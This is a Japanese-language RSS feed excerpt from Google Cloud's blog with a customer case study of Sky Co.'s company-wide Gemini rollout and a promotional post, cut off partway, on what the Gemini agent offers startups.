<?xml version="1.0" encoding="utf-8"?>
<rss version="2.0" xmlns:atom="http://www.w3.org/2005/Atom" xmlns:content="http://purl.org/rss/1.0/modules/content/" xmlns:dc="http://purl.org/dc/elements/1.1/" xmlns:media="http://search.yahoo.com/mrss/"><channel><title>Cloud Blog JA</title><link>https://cloud.google.com/blog/ja/</link><description>Cloud Blog JA</description><atom:link href="https://cloudblog.withgoogle.com/blog/ja/rss/" rel="self"></atom:link><language>ja</language><lastBuildDate>Thu, 29 Oct 2026 00:45:05 +0000</lastBuildDate><image><url>https://cloud.google.com/blog/ja/static/blog/images/google.a51985becaa6.png</url><title>Cloud Blog JA</title><link>https://cloud.google.com/blog/ja/</link></image><item><title>Sky: Gemini を全社で一斉に導入し、98% の利用定着率と 2,000 個近いエージェントの共有を実現</title><link>https://cloud.google.com/blog/ja/topics/customers/sky-implements-gemini-company-wide/</link><description>&lt;div class="block-paragraph"&gt;&lt;p data-block-key="ozh0g"&gt;「AI に強く、AI を使いこなす会社」を目指す Sky株式会社（以下、Sky）は、内製の AI ツールで活用の土台を構築。さらに後継のツールとして Gemini を全従業員約 5,000 名へ一斉配布し、大きな成果を上げています。単なる「業務効率化」ではなく「業務プロセスそのものの変革」を目指すアプローチ、そして具体的な成果について、改革を牽引する AI Innovation Lab の 2 名に伺いました。&lt;/p&gt;&lt;p data-block-key="5sjcj"&gt;&lt;b&gt;利用しているサービス:&lt;/b&gt;&lt;br/&gt; &lt;a href="https://cloud.google.com/gemini-enterprise?hl=ja"&gt;Gemini&lt;/a&gt;, &lt;a href="https://notebook.google/?hl=ja" target="_blank"&gt;Gemini Notebook&lt;/a&gt; など&lt;/p&gt;&lt;p data-block-key="54r6j"&gt;&lt;b&gt;利用しているソリューション:&lt;/b&gt;&lt;br/&gt;&lt;a href="https://cloud.google.com/ai/generative-ai?hl=ja"&gt;生成 AI&lt;/a&gt;&lt;/p&gt;&lt;h3 data-block-key="9bdpk"&gt;&lt;b&gt;「SKYAI」の内製開発で定着した AI 活用文化を、いかに発展させるか&lt;/b&gt;&lt;/h3&gt;&lt;p data-block-key="cd857"&gt;クライアント運用管理ソフトウェア「SKYSEA Client View」や営業名刺管理サービス「SKYPCE」などで知られる Sky は、自社商品を開発・提供する ICT ソリューション事業と、顧客のシステム開発を担うクライアント・システム開発事業を両輪としています。そんな同社の特長の 1 つは、現場のニーズに応じてソリューションを独自に開発する企業文化です。社内システムも大部分を内製しており、その数は約 200 にのぼります。&lt;br/&gt;&lt;/p&gt;&lt;p data-block-key="dihg8"&gt;事実、生成 AI が登場すると、同社は対話型の生成 AI サービス「SKYAI」を独自開発して全社に提供。自律型リサーチ機能「Deep Research」が普及したときにも、「SKYAI Deep Research」を自力で開発しています。こうしたプロジェクトを牽引してきたメンバーが集まって誕生したのが、社内の AI 専門チームである AI Innovation Lab です。同 Lab 課長の須藤 康正氏は、一連の開発プロジェクトの狙いを次のように説明します。&lt;/p&gt;&lt;/div&gt;
&lt;div class="block-paragraph_with_image"&gt;&lt;div class="article-module h-c-page"&gt;
  &lt;div class="h-c-grid uni-paragraph-wrap"&gt;
    &lt;div class="uni-paragraph
      h-c-grid__col h-c-grid__col--8 h-c-grid__col-m--6 h-c-grid__col-l--6
      h-c-grid__col--offset-2 h-c-grid__col-m--offset-3 h-c-grid__col-l--offset-3"&gt;

      






  

    &lt;figure class="article-image--wrap-small
      
      "
      &gt;

      
      
        
        &lt;img
            src="https://storage.googleapis.com/gweb-cloudblog-publish/images/_53A0294_small.max-1000x1000.jpg"
        
          alt="_53A0294_small"&gt;
        
        &lt;/a&gt;
      
    &lt;/figure&gt;

  





      &lt;p data-block-key="rnupu"&gt;「AI Innovation Lab は、会社のスタイルを構築しつつ、代表が掲げる理念をサービスや機能という形で体現していく、Skyスタイル部に所属しています。『SKYAI』と『SKYAI Deep Research』には、皆の業務を便利にするという目的以上に重要な役割がありました。AI を使うということを従業員のスタイルとして根付かせていくことです。」（須藤氏）&lt;/p&gt;&lt;p data-block-key="ca54i"&gt;ウェブ検索機能やプロンプト評価機能の実装、全従業員向けの研修といった取り組みもあり、SKYAI の月間利用率は最終的に 90% に達しました。しかしここで須藤氏は、大きな決断を迫られます。SKYAI の継続に注力すれば、新たな AI システムの開発ができなくなるからです。保守部門に運用を引き継ぐ選択肢もありましたが、須藤氏は「攻めの決断」を下しました。&lt;/p&gt;&lt;p data-block-key="6kale"&gt;「SKYAI は役割を果たしたと判断し、サービスを終了することにしました。ただし従業員には、代わりとなる AI ツールが必要になりますので、検討に入りました。そこで念頭に置いたのは『どのツールを選ぶか』ではなく、『我々は AI を会社の中でどう使いたいのか』『我々が目指している AI の活用スタイルを育むためには、ツールはいかにあるべきか』というものでした。」（須藤氏）&lt;/p&gt;
    &lt;/div&gt;
  &lt;/div&gt;
&lt;/div&gt;

&lt;/div&gt;
&lt;div class="block-paragraph"&gt;&lt;h3 data-block-key="ozh0g"&gt;&lt;b&gt;横断検索の精度、データ連携、ガバナンスを評価して Gemini を選定&lt;/b&gt;&lt;br/&gt;&lt;/h3&gt;&lt;p data-block-key="djsgu"&gt;このような問題意識に基づき、最終的に選ばれたのは Gemini でした。その際にまず検証されたのは、横断検索の精度だったといいます。同社では高機能な AI を使うことがすでに当たり前となっており、検索精度が低いとユーザーがすぐに離れていくことが懸念されたからです。&lt;/p&gt;&lt;p data-block-key="6mm15"&gt;「社内で Deep Research を内製していたときには、ナレッジグラフを作っていかなければなりませんでした。また、ベクトル化やチューニング、チャンクサイズの調整など、多くの試行錯誤を繰り返していましたが、企業向け Gemini を採用してみると、我々が作ったシステムと同等以上の精度がすぐに得られました。これはまさに驚きでした。」（須藤氏）&lt;/p&gt;&lt;p data-block-key="361qn"&gt;次に検証されたのはデータ連携です。同社は Google Workspace を導入していませんが、企業向け Gemini には、サードパーティ SaaS 向けのコネクタが数多く用意されているため、多様なプラットフォームとのデータ連携は容易に実現できました。そして 3 つ目が、ガバナンスとセキュリティです。同社は顧客のシステム開発も担っているため、エンタープライズ利用を想定したアクセス コントロール、法務部門との調整に必要な情報の確保、知的財産の侵害リスクに備える IP 補償、EnterpriseWebSearch との統合などが不可欠になります。これらの機能が揃っていたことも、採用の後押しとなりました。&lt;/p&gt;&lt;p data-block-key="dn6i7"&gt;「セキュリティについては、条件が『保証されている』『明文化されている』ことを重視しています。Google Cloud は AI 活用におけるセキュリティの担保にも非常に慎重かつ真摯に取り組んでおり、我々が目指しているのと同じ方向で、安全性を追求できるのではないかと感じました。」（須藤氏）&lt;/p&gt;&lt;p data-block-key="4aop5"&gt;これらの検証を踏まえて、2026 年 1 月、Sky は Gemini の利用を開始。「スタイルは従業員全員で作る」という指針のもと、約 5,000 名の全従業員に一斉に展開しました。これはかなり思い切った決断でしたが、現場ではさまざまな成果が生まれ始めています。AI Innovation Lab 課長代理の帯野 幸司氏は、最初の例として、新メンバーのオンボーディングを挙げました。&lt;/p&gt;&lt;/div&gt;
&lt;div class="block-paragraph_with_image"&gt;&lt;div class="article-module h-c-page"&gt;
  &lt;div class="h-c-grid uni-paragraph-wrap"&gt;
    &lt;div class="uni-paragraph
      h-c-grid__col h-c-grid__col--8 h-c-grid__col-m--6 h-c-grid__col-l--6
      h-c-grid__col--offset-2 h-c-grid__col-m--offset-3 h-c-grid__col-l--offset-3"&gt;

      






  

    &lt;figure class="article-image--wrap-small
      
      "
      &gt;

      
      
        
        &lt;img
            src="https://storage.googleapis.com/gweb-cloudblog-publish/images/_53A0368_small.max-1000x1000.jpg"
        
          alt="_53A0368_small"&gt;
        
        &lt;/a&gt;
      
    &lt;/figure&gt;

  





      &lt;p data-block-key="rnupu"&gt;「従来は新しいメンバーに大量の資料を渡して読んでもらう形になっており、どこまで理解しているかが、なかなか正確に把握できませんでした。しかし、社内の業務情報を部署ごとに整理して Gemini Notebook に読み込ませるようにしたところ、AI との対話を通じて新メンバーが自律的に学習し、疑問点を自己解決できるようになりました。これによりオンボーディング期間が大幅に短縮されています。また、従業員が自律的に部署のノウハウを蓄積し、データを共有する際の形式まで意識してくれるようになりました。これも思わぬ効果です。」（帯野氏）&lt;/p&gt;&lt;p data-block-key="cdumg"&gt;次の好例は、上長の簡易クローン構築によるコミュニケーションの効率化です。&lt;/p&gt;&lt;p data-block-key="b1c24"&gt;「上長に案件のレビューや相談を依頼したくても、時間を確保してもらうのが難しいのが実情です。幸い、Sky には従業員が日頃感じていることや考えていることを社内ブログにアウトプットする文化があるので、そこから上長の思考スタイルを Markdown にまとめ、Gemini でエージェント化しました。メンバーだけでなく上長も含め、双方の時間が短縮できています。」（帯野氏）&lt;/p&gt;&lt;p data-block-key="ag0e"&gt;さらに帯野氏は、Deep Research を使った検索の充実にも触れました。&lt;br/&gt;&lt;br/&gt;「以前は AI 活用研修を企画する際にも、ウェブ上の他社事例と社内の過去の研修内容を別々に調べる必要があり、手間がかかっていました。しかし、社内情報とウェブの情報を横断的に検索することにより、自社の実情や過去の文脈に合った精度の高いリサーチができるようになりました。」（帯野氏）&lt;/p&gt;
    &lt;/div&gt;
  &lt;/div&gt;
&lt;/div&gt;

&lt;/div&gt;
&lt;div class="block-image_full_width"&gt;






  
    &lt;div class="article-module h-c-page"&gt;
      &lt;div class="h-c-grid"&gt;
  

    &lt;figure class="article-image--large
      
      
        h-c-grid__col
        h-c-grid__col--6 h-c-grid__col--offset-3
        
        
      "
      &gt;

      
      
        
        &lt;img
            src="https://storage.googleapis.com/gweb-cloudblog-publish/images/SkyZhuShiHuiSheYang_ChaRuYongsuraito.max-1000x1000.png"
        
          alt="Sky株式会社様_挿入用スライド"&gt;
        
        &lt;/a&gt;
      
    &lt;/figure&gt;

  
      &lt;/div&gt;
    &lt;/div&gt;
  




&lt;/div&gt;
&lt;div class="block-paragraph_advanced"&gt;&lt;h3&gt;&lt;strong style="vertical-align: baseline;"&gt;「従業員が AI と一緒に働く」環境を構築し、独自のスタイルを追求&lt;/strong&gt;&lt;/h3&gt;
&lt;p&gt;&lt;span style="vertical-align: baseline;"&gt;Gemini のアクティブ ユーザー数は、展開後約 2 か月で急増した後に高止まりしており、定着率は 98% というきわめて高い水準を維持しています。帯野氏は「Gemini が物珍しさだけで使われているのではなく、日々の業務に不可欠なツールとしてほぼすべての従業員に受け入れられ、継続的に利用されていることを示していると考えられます」と解説します。&lt;/span&gt;&lt;/p&gt;
&lt;p&gt;&lt;span style="vertical-align: baseline;"&gt;事実、現場主導で Gemini の活用が広がったことにより、Sky では 2,000 個近くのエージェントが従業員によって開発され、広く共有されるようになりました。その結果、エージェントの検索が困難になるという嬉しい悩みも発生しましたが、この問題は Google Cloud のサポートによって解決されています。&lt;/span&gt;&lt;/p&gt;
&lt;p&gt;&lt;span style="vertical-align: baseline;"&gt;「検索機能の問題もそうですが、エンタープライズ ユースで『こういう機能が欲しい』と相談すると、いつもすごく真摯に解決案を提案してもらえます。製品の機能とは別に、これも Google Cloud と仕事をしていくうえですごく良いと感じている点です。」（須藤氏）&lt;/span&gt;&lt;/p&gt;
&lt;p&gt;&lt;span style="vertical-align: baseline;"&gt;Sky における AI 活用は、既存業務の強化を目的としたものから、「業務プロセスを変える」ものへ、そして「従業員が AI と一緒に働くようなスタイル」を実現させるものへと進化してきました。導入成果の測定に関しては KPI を設定せず、各部署に独自の基準作りを委ねる一方、活用度そのものを全社共通で評価できる「PAM」というシステムも新たに構築されています。また最近では、自社を「ゼロカスタマー（最初の顧客）」に設定した商品開発でも、AI を活用する方法が模索され始めています。最後に須藤氏は、Gemini に寄せる信頼の大きさを改めて語りました。&lt;/span&gt;&lt;/p&gt;
&lt;p&gt;&lt;span style="vertical-align: baseline;"&gt;「2026 年 7 月には、AI Innovation Lab に『AI 社員』が参加しました。AI は業務のチャットログを常にチェックしており、自分ができる業務をどんどん代行していきます。私たちはこうして生まれた時間を、新たな創発的な業務に 100% 投下していく予定です。生成 AI の活用は、単なるツールの導入に終わらせるのではなく、企業が目指す『スタイル』を明確に思い描き、AI ネイティブな業務改革を進めていくことが重要です。その点、Gemini は私たちにとって、最も使いやすいツールになっています。」（須藤氏）&lt;/span&gt;&lt;/p&gt;
&lt;hr/&gt;
&lt;p&gt; &lt;/p&gt;&lt;/div&gt;
&lt;div class="block-image_full_width"&gt;






  
    &lt;div class="article-module h-c-page"&gt;
      &lt;div class="h-c-grid"&gt;
  

    &lt;figure class="article-image--large
      
      
        h-c-grid__col
        h-c-grid__col--6 h-c-grid__col--offset-3
        
        
      "
      &gt;

      
      
        
        &lt;img
            src="https://storage.googleapis.com/gweb-cloudblog-publish/images/_53A0538_small.max-1000x1000.jpg"
        
          alt="_53A0538_small"&gt;
        
        &lt;/a&gt;
      
    &lt;/figure&gt;

  
      &lt;/div&gt;
    &lt;/div&gt;
  




&lt;/div&gt;
&lt;div class="block-paragraph"&gt;&lt;p data-block-key="ozh0g"&gt;&lt;a href="https://www.skygroup.jp/" target="_blank"&gt;&lt;b&gt;Sky株式会社&lt;/b&gt;&lt;/a&gt;&lt;br/&gt;1985 年 3 月 2 日設立。クライアント運用管理ソフトウェア「SKYSEA Client View」や営業名刺管理サービス「SKYPCE」などの自社商品を開発・提供する ICT ソリューション事業と、顧客のシステム開発を担うクライアント・システム開発事業を両輪に事業を展開している。「AI に強く、AI を使いこなす会社」を掲げ、AI 活用による DX やサービス開発などに取り組む。従業員数は 4,655 名（2026 年 10 月 1 日現在）。&lt;/p&gt;&lt;p data-block-key="d59sr"&gt;&lt;b&gt;インタビュイー（写真右から）&lt;/b&gt;&lt;br/&gt;・Skyスタイル部 AI Innovation Lab 課長 須藤 康正 氏&lt;br/&gt;・Skyスタイル部 AI Innovation Lab 課長代理 帯野 幸司 氏&lt;/p&gt;&lt;/div&gt;
&lt;div class="block-paragraph_advanced"&gt;&lt;hr/&gt;
&lt;p&gt; &lt;/p&gt;&lt;/div&gt;
&lt;div class="block-paragraph"&gt;&lt;p data-block-key="ozh0g"&gt;&lt;b&gt;▼ セッション動画を観る&lt;/b&gt;&lt;br/&gt;本事例のインタビュイーによるセッション動画が公開中です。あわせてご覧ください。&lt;br/&gt;&lt;a href="https://www.googlecloudevents.com/next-tokyo/v/s-4393292" target="_blank"&gt;【Next Tokyo 26 セッション】ツール導入ではない、企業のスタイルを創る「AI 戦略」としての Gemini Enterprise&lt;/a&gt;&lt;/p&gt;&lt;p data-block-key="32afd"&gt;&lt;b&gt;▼他の導入事例記事を読む&lt;/b&gt;&lt;br/&gt;その他の Google Cloud 導入事例は&lt;a href="https://cloud.google.com/customers?hl=ja&amp;amp;e=48754805"&gt;こちら&lt;/a&gt;をご覧ください。&lt;/p&gt;&lt;/div&gt;</description><pubDate>Thu, 29 Oct 2026 01:00:00 +0000</pubDate><guid>https://cloud.google.com/blog/ja/topics/customers/sky-implements-gemini-company-wide/</guid><category>AI &amp; Machine Learning</category><category>Customers</category><media:content height="540" url="https://storage.googleapis.com/gweb-cloudblog-publish/images/hero_image_sky_horizontal.max-600x600.jpg" width="540"></media:content><og xmlns:og="http://ogp.me/ns#"><type>article</type><title>Sky: Gemini を全社で一斉に導入し、98% の利用定着率と 2,000 個近いエージェントの共有を実現</title><description></description><image>https://storage.googleapis.com/gweb-cloudblog-publish/images/hero_image_sky_horizontal.max-600x600.jpg</image><site_name>Google</site_name><url>https://cloud.google.com/blog/ja/topics/customers/sky-implements-gemini-company-wide/</url></og><author xmlns:author="http://www.w3.org/2005/Atom"><name>Google Cloud Japan Team </name><title></title><department></department><company></company></author></item><item><title>Gemini エージェントがスタートアップにもたらすメリット</title><link>https://cloud.google.com/blog/ja/topics/startups/what-the-gemini-agent-means-for-startups/</link><description>&lt;div class="block-paragraph_advanced"&gt;&lt;p&gt;&lt;span style="vertical-align: baseline;"&gt;※この投稿は米国時間 2026 年 10 月 16 日に、Google Cloud blog に&lt;/span&gt;&lt;a href="https://cloud.google.com/blog/topics/startups/what-the-gemini-agent-means-for-startups?e=48754805&amp;amp;hl=en"&gt;&lt;span style="text-decoration: underline; vertical-align: baseline;"&gt;投稿&lt;/span&gt;&lt;/a&gt;&lt;span style="vertical-align: baseline;"&gt;されたものの抄訳です。&lt;/span&gt;&lt;/p&gt;
&lt;p&gt;&lt;span style="vertical-align: baseline;"&gt;小規模なチーム、限られたランウェイ、そして常に迅速なプロダクト提供を求められるプレッシャー。これは、Google for Startups が日々ともに働く起業家たちが直面している現実です。会社をゼロから立ち上げる際、運用上のオーバーヘッドやインフラストラクチャ構築に費やす時間は、コアプロダクトの開発に割くべき時間を削ることになります。&lt;/span&gt;&lt;/p&gt;
&lt;p&gt;&lt;span style="vertical-align: baseline;"&gt;先週開催された Gemini at Work 2026 で、Google は &lt;/span&gt;&lt;a href="https://cloud.google.com/blog/ja/products/ai-machine-learning/welcome-to-gemini-at-work-2026"&gt;&lt;span style="text-decoration: underline; vertical-align: baseline;"&gt;Gemini エージェントを発表&lt;/span&gt;&lt;/a&gt;&lt;span style="vertical-align: baseline;"&gt;しました。これは、パーソナル アシスタントとしても、チームの専任メンバーとしても機能する汎用エージェントです。そして今週、新しいフロンティア モデルである &lt;/span&gt;&lt;a href="https://cloud.google.com/blog/ja/products/ai-machine-learning/gemini-4-argon-available-on-google-cloud?e=48754805"&gt;&lt;span style="text-decoration: underline; vertical-align: baseline;"&gt;Gemini 4 Argon&lt;/span&gt;&lt;/a&gt;&lt;span style="vertical-align: baseline;"&gt; の一般提供を開始しました。このモデルは、長時間のマルチステップ タスク全体を通してコンテキストを維持するようにトレーニングされています。&lt;/span&gt;&lt;/p&gt;
&lt;p&gt;&lt;span style="vertical-align: baseline;"&gt;ここでは、Gemini エージェントの仕組み、創業者に役立つ 5 つのポイント、そしてスタートアップが実力以上の成果を上げるためにこれをどう活用しているかをご紹介します。&lt;/span&gt;&lt;/p&gt;
&lt;h4&gt;&lt;strong style="vertical-align: baseline;"&gt;Gemini エージェントとは&lt;/strong&gt;&lt;/h4&gt;
&lt;p&gt;&lt;span style="vertical-align: baseline;"&gt;文書作成、コーディング、データ分析ごとに、別々の chatbot にプロンプトを入力する必要はもうありません。Gemini エージェントなら、1 つのエージェントが大まかな目標を理解し、完成した成果物まで仕上げて提供します。これは、次の 3 つの原則によって定義されます。&lt;/span&gt;&lt;/p&gt;
&lt;ul&gt;
&lt;li aria-level="1" style="list-style-type: disc; vertical-align: baseline;"&gt;
&lt;p role="presentation"&gt;&lt;strong style="vertical-align: baseline;"&gt;統合型:&lt;/strong&gt;&lt;span style="vertical-align: baseline;"&gt; 1 つのエージェントで、ナレッジワーク、データ分析、クリエイティブ アセットの生成、コードの記述と実行を処理できるようになりました。複雑なジョブの場合、専用の一時的なサブエージェントを動的にスピンアップし、それらの作業を並列または順次連携させます。&lt;/span&gt;&lt;/p&gt;
&lt;/li&gt;
&lt;li aria-level="1" style="list-style-type: disc; vertical-align: baseline;"&gt;
&lt;p role="presentation"&gt;&lt;strong style="vertical-align: baseline;"&gt;どこからでもアクセス可能:&lt;/strong&gt;&lt;span style="vertical-align: baseline;"&gt; ウェブ、コマンドライン、デスクトップ、モバイルなど、日常的に使うあらゆる環境で動作します。さらに、Gmail、ドキュメント、スプレッドシート、スライド、ドライブ、Chat、カレンダーにもネイティブに対応しています。&lt;/span&gt;&lt;/p&gt;
&lt;/li&gt;
&lt;li aria-level="1" style="list-style-type: disc; vertical-align: baseline;"&gt;
&lt;p role="presentation"&gt;&lt;strong style="vertical-align: baseline;"&gt;永続性:&lt;/strong&gt;&lt;span style="vertical-align: baseline;"&gt; クラウド上で動作し、4 つの領域（セッション、セマンティック、手続き、エピソード）にわたって連続的なメモリーを保持します。新規採用者のように自ら業務に慣れ、チーム、ツール、ビジネス コンテキストを学習するため、プロンプトごとに自社について説明し直す必要はありません。また、ノートパソコンを閉じた後も、数日間にわたるタスクを進め続けることができます。&lt;/span&gt;&lt;/p&gt;
&lt;/li&gt;
&lt;/ul&gt;
&lt;p&gt;&lt;span style="vertical-align: baseline;"&gt;5 つの役割を同時にこなす創業者にとって、Gemini は、カレンダー、プロジェクト、ドキュメントの状況をすでに把握している「デジタル参謀」のように機能します。マーケット トレンドの調査、スプレッドシートでの財務モデル作成、そしてその両方を網羅した提案資料の作成まで、各ステップでプロジェクト概要や目標を繰り返し説明することなく、Gemini にまとめて依頼できます。また、先回りして自発的に機能します。投資家から最新のプロダクト アップデートを資料として求めるメールが届くと、Gemini がそのリクエストを検知して処理を提案します。ワンクリックで作業が完了し、すぐに共有やレビューが可能な状態で手元に戻ってきます。&lt;/span&gt;&lt;/p&gt;
&lt;h4&gt;&lt;strong style="vertical-align: baseline;"&gt;スタートアップ向けの 5 つの重要ポイント&lt;/strong&gt;&lt;/h4&gt;
&lt;p&gt;&lt;strong style="vertical-align: baseline;"&gt;1. コワーカー エージェントとスキルでアウトプットを拡大&lt;/strong&gt;&lt;/p&gt;
&lt;p&gt;&lt;span style="vertical-align: baseline;"&gt;個人のアシスタント機能にとどまらず、チーム全体と連携する持続的な&lt;/span&gt;&lt;strong style="vertical-align: baseline;"&gt;コワーカー エージェント&lt;/strong&gt;&lt;span style="vertical-align: baseline;"&gt;を作成することもできます。各エージェントには、それぞれ専用の Workspace アカウント、メールアドレス、ドライブ ストレージ、ディレクトリ情報が付与されます。リリース コーディネーター、QA トリアージ担当者、財務アナリストといった特定の役割を設定すれば、チームメンバーは Chat スペースにエージェントを追加したり、Google ドキュメントのコメントで &lt;/span&gt;&lt;code style="vertical-align: baseline;"&gt;@名前リンクを追加&lt;/code&gt;&lt;span style="vertical-align: baseline;"&gt;したりして作業を委任できます。&lt;/span&gt;&lt;/p&gt;
&lt;p&gt;&lt;span style="vertical-align: baseline;"&gt;また、エージェントに再利用可能な&lt;/span&gt;&lt;strong style="vertical-align: baseline;"&gt;スキル&lt;/strong&gt;&lt;span style="vertical-align: baseline;"&gt;を持たせるだけでなく、Gemini が業務プロセスを学習しながら自らスキルを作成することも可能です。たとえば、BigQuery や Knowledge Catalog と連携した運用レポートスキルを使えば、チームの誰もが平易な言葉で質問するだけで、リアルタイムのレポートを作成して保存できます。一度保存すれば、追加のトークンコストをかけることなく、必要なときにいつでもレポートを実行できます。さらに Gemini では、法務や金融サービスをはじめとする、特定の領域に特化した事前構築済みの機能も提供しています。&lt;/span&gt;&lt;/p&gt;
&lt;ul&gt;
&lt;li aria-level="1" style="list-style-type: disc; vertical-align: baseline;"&gt;
&lt;p role="presentation"&gt;&lt;strong style="vertical-align: baseline;"&gt;スタートアップにとっての意味:&lt;/strong&gt;&lt;span style="vertical-align: baseline;"&gt; コワーカー エージェントによってチームの対応力を即座に引き上げることができます。また、スキルを活用することで、投資家向けレポートや運用レポートなどの定期的なプロセスを標準化し、実行のたびにトークンを消費することもなくなります。&lt;/span&gt;&lt;/p&gt;
&lt;/li&gt;
&lt;/ul&gt;
&lt;p&gt;&lt;strong style="vertical-align: baseline;"&gt;2. オープンモデルとサードパーティ モデルを自由に選択&lt;/strong&gt;&lt;/p&gt;
&lt;p&gt;&lt;span style="vertical-align: baseline;"&gt;Gemini はエージェントであり、その基盤となるモデルは自由に選択できます。スタートアップのアーキテクチャが成熟するにつれて、すべてのタスクを単一のフロンティア モデルに処理させると、粗利益が急速に圧迫されます。Gemini エージェントを使用すると、Gemini モデル、Anthropic の Claude などのサードパーティ モデル、&lt;/span&gt;&lt;a href="https://cloud.google.com/blog/topics/startups/why-your-startup-needs-open-models-alongside-frontier-apis"&gt;&lt;span style="text-decoration: underline; vertical-align: baseline;"&gt;Gemma&lt;/span&gt;&lt;/a&gt;&lt;span style="vertical-align: baseline;"&gt; などの軽量なオープンモデルの間で、ワークロードを動的にルーティングできます。&lt;/span&gt;&lt;/p&gt;
&lt;ul&gt;
&lt;li aria-level="1" style="list-style-type: disc; vertical-align: baseline;"&gt;
&lt;p role="presentation"&gt;&lt;strong style="vertical-align: baseline;"&gt;スタートアップにとっての意味:&lt;/strong&gt;&lt;span style="vertical-align: baseline;"&gt; ロックインされることなく、柔軟性を確保できます。大量の決定的ジョブにはコンパクト モデルを、複雑な推論にはフロンティア モデルを使用することで、タスクあたりのコストを最適化できます。また、プロダクトの進化に合わせて、ワークフローを再構築することなくモデルを入れ替えることができます。&lt;/span&gt;&lt;/p&gt;
&lt;/li&gt;
&lt;/ul&gt;
&lt;p&gt;&lt;strong style="vertical-align: baseline;"&gt;3. サービスやツールに接続&lt;/strong&gt;&lt;/p&gt;
&lt;p&gt;&lt;span style="vertical-align: baseline;"&gt;エージェントの有用性は、アクセスできるシステムによって決まります。Gemini エージェントは、Google Workspace に加え、パートナー ソリューションを含むエンジニアリング、データ、ビジネスの各種スタックに直接接続できます。&lt;/span&gt;&lt;/p&gt;
&lt;ul&gt;
&lt;li aria-level="1" style="list-style-type: disc; vertical-align: baseline;"&gt;
&lt;p role="presentation"&gt;&lt;strong style="vertical-align: baseline;"&gt;開発とコラボレーション:&lt;/strong&gt;&lt;span style="vertical-align: baseline;"&gt; Git、Slack、Jira など。&lt;/span&gt;&lt;/p&gt;
&lt;/li&gt;
&lt;li aria-level="1" style="list-style-type: disc; vertical-align: baseline;"&gt;
&lt;p role="presentation"&gt;&lt;strong style="vertical-align: baseline;"&gt;データとローカル ファイル:&lt;/strong&gt;&lt;span style="vertical-align: baseline;"&gt; BigQuery、Postgres、Snowflake、Databricks などに加え、デスクトップ上のファイルにも対応。&lt;/span&gt;&lt;/p&gt;
&lt;/li&gt;
&lt;li aria-level="1" style="list-style-type: disc; vertical-align: baseline;"&gt;
&lt;p role="presentation"&gt;&lt;strong style="vertical-align: baseline;"&gt;MCP を介したカスタムツール:&lt;/strong&gt;&lt;span style="vertical-align: baseline;"&gt; ネットワーク内外の Model Context Protocol（MCP）サーバー。エンジニアが社内ツールを構築して共有できます。&lt;/span&gt;&lt;/p&gt;
&lt;/li&gt;
&lt;/ul&gt;
&lt;p&gt;&lt;strong style="vertical-align: baseline;"&gt;スタートアップにとっての意味:&lt;/strong&gt;&lt;span style="vertical-align: baseline;"&gt; カスタム コネクタの保守にエンジニアのリソースを割く代わりに、エージェントを既存のコードベース、データベース、MCP ツールに直接接続して、データの所在を問わずリアルタイムに操作できるようになります。&lt;/span&gt;&lt;/p&gt;
&lt;p&gt;&lt;strong style="vertical-align: baseline;"&gt;4. 組み込みのセキュリティとガバナンス&lt;/strong&gt;&lt;/p&gt;
&lt;p&gt;&lt;span style="vertical-align: baseline;"&gt;B2B スタートアップにとって、大企業によるセキュリティ監査は、商談が失速しやすい大きな関門です。バックグラウンドでは、各エージェントに暗号化された&lt;/span&gt;&lt;strong style="vertical-align: baseline;"&gt;エージェント ID&lt;/strong&gt;&lt;span style="vertical-align: baseline;"&gt; が割り当てられ、明確な監査証跡が確保されます。また、エージェントは分離されたサンドボックス内で実行され、組み込みのプロンプト インジェクション防御機能によって保護されます。外部トラフィックは &lt;/span&gt;&lt;strong style="vertical-align: baseline;"&gt;Agent Gateway&lt;/strong&gt;&lt;span style="vertical-align: baseline;"&gt; を経由してルーティングされるため、ガバナンス ポリシーを確実に適用できます。さらに、コワーカー エージェントもそれぞれ Workspace アカウントを持つため、管理の手間はこれまでのユーザー管理とまったく変わりません。&lt;/span&gt;&lt;/p&gt;
&lt;ul&gt;
&lt;li aria-level="1" style="list-style-type: disc; vertical-align: baseline;"&gt;
&lt;p role="presentation"&gt;&lt;strong style="vertical-align: baseline;"&gt;スタートアップにとっての意味:&lt;/strong&gt;&lt;span style="vertical-align: baseline;"&gt; 大企業の最高情報セキュリティ責任者から、AI ワークフローにおけるデータ プライバシー、プロンプト インジェクション、アクセス制御への対策を問われても、すでにエンタープライズ グレードのアーキテクチャが整っているため、調達プロセスのハードルをスムーズにクリアできます。&lt;/span&gt;&lt;/p&gt;
&lt;/li&gt;
&lt;/ul&gt;
&lt;p&gt;&lt;strong style="vertical-align: baseline;"&gt;5. リアルタイムのコスト管理でランウェイを保護&lt;/strong&gt;&lt;/p&gt;
&lt;p&gt;&lt;span style="vertical-align: baseline;"&gt;サブエージェントを数時間から数日間にわたって実行する自律型エージェントは、ループ処理をチェックしないままでいると、すぐに請求額が膨れ上がってしまいます。こうした事態を防ぐため、Cloud Billing コンソールでリアルタイムの費用上限を直接設定できるようになりました。上限に達するとプロジェクトのエージェントが自動的に一時停止するため、バグによる予期せぬ高額請求を確実に回避できます。その基盤として、Gemini は推論に最適化された TPU 8i を含む &lt;/span&gt;&lt;a href="https://cloud.google.com/ai-infrastructure?e=48754805"&gt;&lt;span style="text-decoration: underline; vertical-align: baseline;"&gt;Google による特化型 AI インフラストラクチャ&lt;/span&gt;&lt;/a&gt;&lt;span style="vertical-align: baseline;"&gt;上で動作し、前世代比で 80% 優れたコスト パフォーマンスを実現します。&lt;/span&gt;&lt;/p&gt;
&lt;ul&gt;
&lt;li aria-level="1" style="list-style-type: disc; vertical-align: baseline;"&gt;
&lt;p role="presentation"&gt;&lt;strong style="vertical-align: baseline;"&gt;スタートアップにとっての意味:&lt;/strong&gt;&lt;span style="vertical-align: baseline;"&gt; 創業者や開発者は、長時間動く並列エージェント ループの試行錯誤に安心して取り組めます。標準で備わった財務セーフティ ネットが手元資金を守り、投資家からの信頼確保にもつながります。&lt;/span&gt;&lt;/p&gt;
&lt;/li&gt;
&lt;/ul&gt;
&lt;h4&gt;&lt;strong style="vertical-align: baseline;"&gt;すでに実践している創業者&lt;/strong&gt;&lt;/h4&gt;
